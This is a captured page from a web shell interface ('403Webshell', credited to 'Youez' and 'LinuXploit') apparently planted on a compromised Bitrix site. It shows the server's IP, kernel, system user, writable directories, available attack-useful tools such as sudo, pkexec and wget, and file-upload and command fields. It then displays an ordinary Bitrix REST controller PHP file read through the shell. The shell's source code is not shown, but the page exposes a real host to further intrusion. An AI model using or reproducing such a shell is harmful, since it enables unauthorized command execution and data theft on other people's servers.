403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/rest/lib/controller/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/rest/lib/controller/integration.php
<?php

namespace Bitrix\Rest\Controller;

use Bitrix\Main\Web\Uri;
use Bitrix\Rest\Marketplace\Client;
use Bitrix\Rest\Service\ServiceContainer;

class Integration extends \Bitrix\Main\Engine\Controller
{
	public function getApplicationListAction(int $limit): array
	{
		$collection = ServiceContainer::getInstance()->getAppService()->getPaidApplications($limit);
		$appCodes = $collection->getAppCodes();

		$applications = [];
		if (!empty($appCodes))
		{
			$appsBuy = Client::getBuy($appCodes);
			if (isset($appsBuy['ITEMS']) && is_array($appsBuy['ITEMS']))
			{
				foreach ($appsBuy['ITEMS'] as $key => $app) {
					$applications[] = [
						'name' => htmlspecialcharsbx($app['NAME']) ?? null,
						'icon' => $app['ICON'] ? Uri::urnEncode($app['ICON']) : null
					];

					if ($limit > 0 && count($applications) === $limit)
					{
						break;
					}
				}
			}
		}

		return [
			'count' => $collection->count(),
			'items' => $applications
		];
	}

	public function getIntegrationListAction(int $limit): array
	{
		$collection = ServiceContainer::getInstance()->getIntegrationService()->getPaidIntegrations($limit);

		$integrations = [];
		foreach ($collection as $integration)
		{
			$integrations[] = [
				'name' => htmlspecialcharsbx($integration->getTitle())
			];

			if ($limit > 0 && count($integrations) === $limit)
			{
				break;
			}
		}

		return [
			'count' => $collection->count(),
			'items' => $integrations
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit